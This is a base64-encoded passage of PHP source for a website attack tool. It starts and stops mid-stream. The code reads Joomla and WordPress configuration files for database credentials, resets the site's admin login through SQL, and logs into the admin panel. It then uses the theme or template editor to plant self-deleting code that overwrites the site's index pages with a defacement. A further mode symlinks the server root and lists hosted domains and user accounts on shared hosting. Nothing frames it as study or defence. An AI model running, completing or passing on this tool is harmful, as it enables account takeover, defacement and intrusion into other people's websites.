HQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KY3VybF9jbG9zZSgkY2gpOw0KDQokcG9zID0gc3RycG9zKCRidWZmZXIsJzxkZCBjbGFzcz0ibWVzc2FnZSBtZXNzYWdlIj4nKTsNCiRjb25kID0gMDsNCmlmKCRwb3MgPT09IGZhbHNlKSB7DQokb3V0cHV0Lj0gIlstXSBVcGRhdGluZyBJbmRleC5waHAgRXJyb3I8YnIgLz4iOw0KICAgDQp9IGVsc2Ugew0KJG91dHB1dC49ICJbK10gSW5kZXgucGhwIFRlbXBsYXRlIHN1Y2Nlc3NmdWxseSBzYXZlZDxiciAvPiI7DQokY29uZCA9IDE7DQp9DQp9DQogICAgICAgIH0gDQogICAgICAgIGVsc2Ugew0KJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguInRlbXBsYXRlc19tZW51YCBXSEVSRSBjbGllbnRfaWQ9JzAnIik7DQokZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KJHRlbXBsYXRlX25hbWU9JGRhdGFbInRlbXBsYXRlIl07DQokdXNlcmFnZW50PSJNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjBiOyBXaW5kb3dzIE5UIDUuMTsgLk5FVCBDTFIgMS4xLjQzMjI7IEFsZXhhIFRvb2xiYXI7IC5ORVQgQ0xSIDIuMC41MDcyNykiOw0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwIjsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCiRoaWRkZW49dHVuaXNpYSgkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDMpOw0KDQppZigkaGlkZGVuKSB7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywidXNlcm5hbWU9YWRtaW4mcGFzc3dkPTEyMzQ1NiZvcHRpb249Y29tX2xvZ2luJnRhc2s9bG9naW4mIi4kaGlkZGVuLiI9MSIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQokcG9zID0gc3RycG9zKCRidWZmZXIsImNvbV9jb25maWciKTsNCmlmKCRwb3MgPT09IGZhbHNlKSB7DQokb3V0cHV0Lj0gIlstXSBMb2dpbiBFcnJvcjxiciAvPiI7DQp9IGVsc2Ugew0KJG91dHB1dC49ICJbK10gTG9naW4gU3VjY2Vzc2Z1bDxiciAvPiI7DQp9DQp9DQoNCmlmKCRwb3MpIHsNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZ0YXNrPWVkaXRfc291cmNlJmNsaWVudD0wJmlkPSIuJHRlbXBsYXRlX25hbWU7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQokaGlkZGVuMj10dW5pc2lhKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsNik7DQppZigkaGlkZGVuMikgew0KJG91dHB1dC49ICJbK10gaW5kZXgucGhwIGZpbGUgZm91bmRlZCBpbiBUaGVtZSBFZGl0b3I8YnIgLz4iOw0KfSBlbHNlIHsNCiRvdXRwdXQuPSAiWy1dIGluZGV4LnBocCBOb3QgZm91bmQgaW4gVGhlbWUgRWRpdG9yPGJyIC8+IjsNCn0NCn0NCg0KaWYoJGhpZGRlbjIpIHsNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZsYXlvdXQ9ZWRpdCI7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywiZmlsZWNvbnRlbnQ9Ii4kY29udGVudC4iJmlkPSIuJHRlbXBsYXRlX25hbWUuIiZjaWRbXT0iLiR0ZW1wbGF0ZV9uYW1lLiImIi4kaGlkZGVuMi4iPTEmdGFzaz1zYXZlX3NvdXJjZSZjbGllbnQ9MCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KY3VybF9jbG9zZSgkY2gpOw0KDQokcG9zID0gc3RycG9zKCRidWZmZXIsJzxkZCBjbGFzcz0ibWVzc2FnZSBtZXNzYWdlIGZhZGUiPicpOw0KJGNvbmQgPSAwOw0KaWYoJHBvcyA9PT0gZmFsc2UpIHsNCiRvdXRwdXQuPSAiWy1dIFVwZGF0aW5nIEluZGV4LnBocCBFcnJvcjxiciAvPiI7DQp9IGVsc2Ugew0KJG91dHB1dC49ICJbK10gSW5kZXgucGhwIFRlbXBsYXRlIHN1Y2Nlc3NmdWxseSBzYXZlZDxiciAvPiI7DQokY29uZCA9IDE7DQp9DQp9DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICAkb3V0cHV0Lj0gIlstXSBEQiBFcnJvcjxiciAvPiI7DQogICAgfQ0KICAgIGdsb2JhbCAkYmFzZV9wYXRoOw0KICAgIHVubGluaygkYmFzZV9wYXRoLiRjbyk7DQogICAgcmV0dXJuIGFycmF5KCdjb25kJz0+JGNvbmQsICdvdXRwdXQnPT4kb3V0cHV0ICwgJ3RlbXBsYXRlJz0+JHRlbXBsYXRlX25hbWUpOyANCn0NCg0KDQovLyB3b3JkcHJlc3MgaW5kZXggY2hhbmdlcg0KDQpmdW5jdGlvbiBpbmRleF9jaGFuZ2VyX3dwKCRjb25mLCAkaW5kZXgpIHsNCiRkb2wgPSAnJCc7DQokcHJlaW5kZXggPSAiPD9waHANCiIuJGRvbC4iZGVmID0gZmlsZV9nZXRfY29udGVudHMoJyIuJGluZGV4LiInKTsNCiIuJGRvbC4icCA9IGV4cGxvZGUoJ3B1YmxpY19odG1sJyxkaXJuYW1lKF9fRklMRV9fKSk7DQoiLiRkb2wuInAgPSAiLiRkb2wuInBbMF0uJ3B1YmxpY19odG1sJzsNCmlmICgiLiRkb2wuImhhbmRsZSA9IG9wZW5kaXIoIi4kZG9sLiJwKSkgew0KICAgICIuJGRvbC4icDEgPSBAZm9wZW4oIi4kZG9sLiJwLicvaW5kZXguaHRtbCcsJ3crJyk7DQogICAgQGZ3cml0ZSgiLiRkb2wuImZwMSwgIi4kZG9sLiJkZWYpOw0KICAgICIuJGRvbC4icDEgPSBAZm9wZW4oIi4kZG9sLiJwLicvaW5kZXgucGhwJywndysnKTsNCiAgICBAZndyaXRlKCIuJGRvbC4iZnAxLCAiLiRkb2wuImRlZik7DQogICAgIi4kZG9sLiJmcDEgPSBAZm9wZW4oIi4kZG9sLiJwLicvaW5kZXguaHRtJywndysnKTsNCiAgICBAZndyaXRlKCIuJGRvbC4iZnAxLCAiLiRkb2wuImRlZik7DQogICAgZWNobyAnRG9uZSc7DQp9DQpjbG9zZWRpcigiLiRkb2wuImhhbmRsZSk7DQp1bmxpbmsoX19GSUxFX18pOw0KPz4iOw0KJGNvbnRlbnQgPSBiYXNlNjRfZW5jb2RlKCRwcmVpbmRleCk7DQogICAgJG91dHB1dCA9ICcnOw0KICAgICRkb2wgPSAnJCc7DQogICAgJGdvID0gMDsNCiAgICAkdXNlcm5hbWUgPSB0dW5pc2lhKCRjb25mLCJkZWZpbmUoJ0RCX1VTRVInLCAnIiwiJyk7Iik7DQogICAgJHBhc3N3b3JkID0gdHVuaXNpYSgkY29uZiwiZGVmaW5lKCdEQl9QQVNTV09SRCcsICciLCInKTsiKTsNCiAgICAkZGJuYW1lID0gdHVuaXNpYSgkY29uZiwiZGVmaW5lKCdEQl9OQU1FJywgJyIsIicpOyIpOw0KICAgICRwcmVmaXggPSB0dW5pc2lhKCRjb25mLCRkb2wuInRhYmxlX3ByZWZpeCAgPSAnIiwiJyIpOw0KICAgICRob3N0ID0gdHVuaXNpYSgkY29uZiwiZGVmaW5lKCdEQl9IT1NUJywgJyIsIicpOyIpOw0KDQogICAgJGxpbms9bXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkKTsNCiAgICBpZigkbGluaykgew0KICAgICAgICBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSwkbGluaykgOw0KICAgICAgICAkZG9sID0gJyQnOw0KICAgICAgICAkcmVxMSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgYCIuJHByZWZpeC4idXNlcnNgIFNFVCBgdXNlcl9sb2dpbmAgPSAnYWRtaW4nLGB1c2VyX3Bhc3NgID0gJzQyOTdmNDRiMTM5NTUyMzUyNDViMjQ5NzM5OWQ3YTkzJyBXSEVSRSBgSURgID0gMSIpOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRvdXRwdXQuPSAiWy1dIERCIEVycm9yPGJyIC8+IjsNCiAgICB9DQogICAgaWYoJHJlcTEpIHsNCg0KICAgICAgICAkcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdob21lJyIpOw0KICAgICAgICAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KICAgICAgICAkc2l0ZV91cmw9JGRhdGFbIm9wdGlvbl92YWx1ZSJdOyANCg0KICAgICAgICAkcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSd0ZW1wbGF0ZSciKTsNCiAgICAgICAgJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVxKTsNCiAgICAgICAgJHRlbXBsYXRlID0gJGRhdGFbIm9wdGlvbl92YWx1ZSJdOw0KDQogICAgICAgICRyZXEgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJHByZWZpeC4ib3B0aW9uc2AgV0hFUkUgb3B0aW9uX25hbWU9J2N1cnJlbnRfdGhlbWUnIik7DQogICAgICAgICRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQogICAgICAgICRjdXJyZW50X3RoZW1lID0gJGRhdGFbIm9wdGlvbl92YWx1ZSJdOw0KDQogICAgICAgICR1c2VyYWdlbnQ9Ik1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDcuMGI7IFdpbmRvd3MgTlQgNS4xOyAuTkVUIENMUiAxLjEuNDMyMjsgQWxleGEgVG9vbGJhcjsgLk5FVCBDTFIgMi4wLjUwNzI3KSI7DQogICAgICAgICR1cmwyPSRzaXRlX3VybC4iL3dwLWxvZ2luLnBocCI7DQoNCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywibG9nPWFkbWluJnB3ZD0xMjMxMjMmcmVtZW1iZXJtZT1mb3JldmVyJndwLXN1Ym1pdD1Mb2cgSW4mdGVzdGNvb2tpZT0xIik7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICJDT09LSUUudHh0Iik7DQogICAgICAgICRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KICAgICAgICAkcG9zID0gc3RycG9zKCRidWZmZXIsImFjdGlvbj1sb2dvdXQiKTsNCiAgICAgICAgaWYoJHBvcyA9PT0gZmFsc2UpIHsNCiRvdXRwdXQuPSAiWy1dIExvZ2luIEVycm9yPGJyIC8+IjsNCiAgICAgICAgfSBlbHNlIHsNCiRvdXRwdXQuPSAiWytdIExvZ2luIFN1Y2Nlc3NmdWw8YnIgLz4iOw0KJGdvID0gMTsNCiAgICAgICAgfQ0KICAgICAgICBpZigkZ28pIHsNCiRjb25kID0gMDsNCiR1cmwyPSRzaXRlX3VybC4iL3dwLWFkbWluL3RoZW1lLWVkaXRvci5waHA/ZmlsZT0vdGhlbWVzLyIuJHRlbXBsYXRlLicvaW5kZXgucGhwJnRoZW1lPScudXJsZW5jb2RlKCRjdXJyZW50X3RoZW1lKS4nJmRpcj10aGVtZSc7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICJDT09LSUUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTsNCiRidWZmZXIwID0gY3VybF9leGVjKCRjaCk7DQoNCiRfd3Bub25jZSA9IHR1bmlzaWEoJGJ1ZmZlcjAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJfd3Bub25jZSIgbmFtZT0iX3dwbm9uY2UiIHZhbHVlPSInLCciIC8+Jyk7DQokX2ZpbGUgPSB0dW5pc2lhKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpOw0KDQppZihzdWJzdHJfY291bnQoJF9maWxlLCIvaW5kZXgucGhwIikgIT0gMCl7DQokb3V0cHV0Lj0gIlsrXSBpbmRleC5waHAgbG9hZGVkIGluIFRoZW1lIEVkaXRvcjxiciAvPiI7DQokdXJsMj0kc2l0ZV91cmwuIi93cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwIjsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJuZXdjb250ZW50PSIuYmFzZTY0X2RlY29kZSgkY29udGVudCkuIiZhY3Rpb249dXBkYXRlJmZpbGU9Ii4kX2ZpbGUuIiZfd3Bub25jZT0iLiRfd3Bub25jZS4iJnN1Ym1pdD1VcGRhdGUgRmlsZSIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiQ09PS0lFLnR4dCIpOw0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KY3VybF9jbG9zZSgkY2gpOw0KDQokcG9zID0gc3RycG9zKCRidWZmZXIsJzxkaXYgaWQ9Im1lc3NhZ2UiIGNsYXNzPSJ1cGRhdGVkIj4nKTsNCmlmKCRwb3MgPT09IGZhbHNlKSB7DQokb3V0cHV0Lj0gIlstXSBVcGRhdGluZyBJbmRleC5waHAgRXJyb3I8YnIgLz4iOw0KfSBlbHNlIHsNCiRvdXRwdXQuPSAiWytdIEluZGV4LnBocCBVcGRhdGVkIFN1Y2Nlc3NmdWx5PGJyIC8+IjsNCiRoayA9IGV4cGxvZGUoJ3B1YmxpY19odG1sJywkX2ZpbGUpOw0KJG91dHB1dC49ICdbK10gRGVmYWNlICcuZmlsZV9nZXRfY29udGVudHMoJHNpdGVfdXJsLnN0cl9yZXBsYWNlKCcvYmxvZycsJycsJGhrWzFdKSk7DQokY29uZCA9IDE7DQp9DQp9IGVsc2Ugew0KJHVybDI9JHNpdGVfdXJsLicvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocD9maWxlPWluZGV4LnBocCZ0aGVtZT0nLiR0ZW1wbGF0ZTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICJDT09LSUUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTsNCiRidWZmZXIwID0gY3VybF9leGVjKCRjaCk7DQoNCiRfd3Bub25jZSA9IHR1bmlzaWEoJGJ1ZmZlcjAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJfd3Bub25jZSIgbmFtZT0iX3dwbm9uY2UiIHZhbHVlPSInLCciIC8+Jyk7DQokX2ZpbGUgPSB0dW5pc2lhKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpOw0KDQppZihzdWJzdHJfY291bnQoJF9maWxlLCJpbmRleC5waHAiKSAhPSAwKXsNCiRvdXRwdXQuPSAiWytdIGluZGV4LnBocCBsb2FkZWQgaW4gVGhlbWUgRWRpdG9yPGJyIC8+IjsNCiR1cmwyPSRzaXRlX3VybC4iL3dwLWFkbWluL3RoZW1lLWVkaXRvci5waHAiOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIm5ld2NvbnRlbnQ9Ii5iYXNlNjRfZGVjb2RlKCRjb250ZW50KS4iJmFjdGlvbj11cGRhdGUmZmlsZT0iLiRfZmlsZS4iJnRoZW1lPSIuJHRlbXBsYXRlLiImX3dwbm9uY2U9Ii4kX3dwbm9uY2UuIiZzdWJtaXQ9VXBkYXRlIEZpbGUiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICJDT09LSUUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTsNCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCmN1cmxfY2xvc2UoJGNoKTsNCg0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCc8ZGl2IGlkPSJtZXNzYWdlIiBjbGFzcz0idXBkYXRlZCI+Jyk7DQppZigkcG9zID09PSBmYWxzZSkgew0KICAgICRvdXRwdXQuPSAiWy1dIFVwZGF0aW5nIEluZGV4LnBocCBFcnJvcjxiciAvPiI7DQp9IGVsc2Ugew0KICAgICRvdXRwdXQuPSAiWytdIEluZGV4LnBocCBUZW1wbGF0ZSBVcGRhdGVkIFN1Y2Nlc3NmdWx5PGJyIC8+IjsNCgkkb3V0cHV0Lj0gJ1srXSBEZWZhY2UgJy5maWxlX2dldF9jb250ZW50cygkc2l0ZV91cmwuJy93cC1jb250ZW50L3RoZW1lcy8nLiR0ZW1wbGF0ZS4nL2luZGV4LnBocCcpOw0KICAgICRjb25kID0gMTsNCn0NCn0gZWxzZSB7DQokb3V0cHV0Lj0gIlstXSBpbmRleC5waHAgY2FuIG5vdCBsb2FkIGluIFRoZW1lIEVkaXRvcjxiciAvPiI7DQp9DQp9DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICAkb3V0cHV0Lj0gIlstXSBEQiBFcnJvcjxiciAvPiI7DQogICAgfQ0KICAgIGdsb2JhbCAkYmFzZV9wYXRoOw0KICAgIHVubGluaygkYmFzZV9wYXRoLidDT09LSUUudHh0Jyk7DQogICAgcmV0dXJuIGFycmF5KCdjb25kJz0+JGNvbmQsICdvdXRwdXQnPT4kb3V0cHV0ICwgJ3RlbXBsYXRlJz0+ICR0ZW1wbGF0ZSk7DQp9DQoNCmlmKCRfUE9TVFsnbW9kZSddPT0yKSB7DQovLyBzeW1saW5raW5nIA0KQG1rZGlyKCdzeW0nLDA3NzcpOw0KJGh0YWNjZXNzICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsNCmZpbGVfcHV0X2NvbnRlbnRzKCJzeW0vLmh0YWNjZXNzIiwkaHRhY2Nlc3MpOw0KQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOw0KDQoNCi8vIGdldHRpbmcgc2l0ZXMgZnJvbSAoL3Zhci9uYW1lZCkgZmlsZQ0KJG5hbWVkPWZpbGVfZ2V0X2NvbnRlbnRzKCRiYXNlX3VybC4nL3N5bS9yb290L3Zhci9uYW1lZC8nKTsNCiRhciA9IGV4cGxvZGUoJzxsaT48YSBocmVmPSInLCAkbmFtZWQpOw0KZm9yKCR2aT0yOyR2aSA8IGNvdW50KCRhcik7JHZpKyspDQogICAgIHsNCiR2YXIxID0gc3RydG9rKCRhclskdmldLCAiICIpOw0KJHZhcjEgPSBzdWJzdHIoJHZhcjEsMCwtMik7DQokb2xkPSgnLmRiJyk7DQokbmV3PSgnJyk7DQokc2l0ZXMgPSBzdHJfcmVwbGFjZSgkb2xkICwgJG5ldyAsICR2YXIxKTsNCmZpbGVfcHV0X2NvbnRlbnRzKCdzaXRlcy50eHQnLCRzaXRlcyk7DQp9DQoNCi8vIGdldHRpbmcgdXNlcm5hbWVzDQokZG9tYWlucz1maWxlKCdzaXRlcy50eHQnKTsNCmZvcmVhY2ggKCRkb21haW5zIGFzICRkb21haW4pIHsNCiRvcmRlcj0oImxzIC1sYSAvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbik7DQokZXhlYz1leGVjKCRvcmRlcik7DQokZmlsZW5hbWUgPSAnbWFpbC50eHQnOw0KJGZwID0gZm9wZW4oJGZpbGVuYW1lLCAiYSsiKTsNCiR3cml0ZSA9IGZwdXRzKCRmcCwgJGV4ZWMuIlxuIik7DQpmY2xvc2UoJGZwKTsNCn0NCg0KJG1haWw9ZmlsZSgnbWFpbC50eHQnKTsNCmZvcmVhY2ggKCRtYWlsIGFzICRmaW5hbGRvbSkgew0KJHVzZXI9dHVuaXNpYSgkZmluYWxkb20sIi1ydy1yLS0tLS0gMSAiLCIgbWFpbCIpOw0KJHNpdGU9c3Vic3RyKHN0cnN0cigkZmluYWxkb20sICcvZXRjL3ZhbGlhc2VzJyksMTQpOw0KDQokZmlsZW5hbWUgPSAndXNlcmRvbS50eHQnOw0KJGZwID0gZm9wZW4oJGZpbGVuYW1lLCAiYSsiKTsNCiR3cml0ZSA9IGZwdXRzKCRmcCwgJHVzZXIuIjoiLiAkc2l0ZS4iICIpOw0KZmNsb3NlKCRmcCk7DQoNCn0NCg0KJGY9ZmlsZV9nZXRfY29udGVudHMoJ3VzZXJkb20udHh0Jyk7DQokZmluYWxzPWV4cGxvZGUoIiAiLCRmKTsNCmZvcmVhY2ggKCRmaW5hbHMgYXMgJGZpbmFsKXsNCiRzdHJsZW49KCc2Jyk7DQokZHI9c3RybGVuICgkZmluYWwpOw0KaWYgKCRkciA8ICRzdHJsZW4pIHsNCiRmaWxlbmFtZSA9ICdmYWlsLnR4dCc7DQokZnAgPSBmb3BlbigkZmlsZW5hbWUsICJhIik7DQokd3JpdGUgPSBmcHV0cygkZnAsICRmaW5hbCk7DQpmY2xvc2UoJGZwKTsNCn0NCmVsc2Ugew0KJGZpbGVuYW1lID0gJ3N1Y2Nlc3MudHh0JzsNCiRmcCA9IG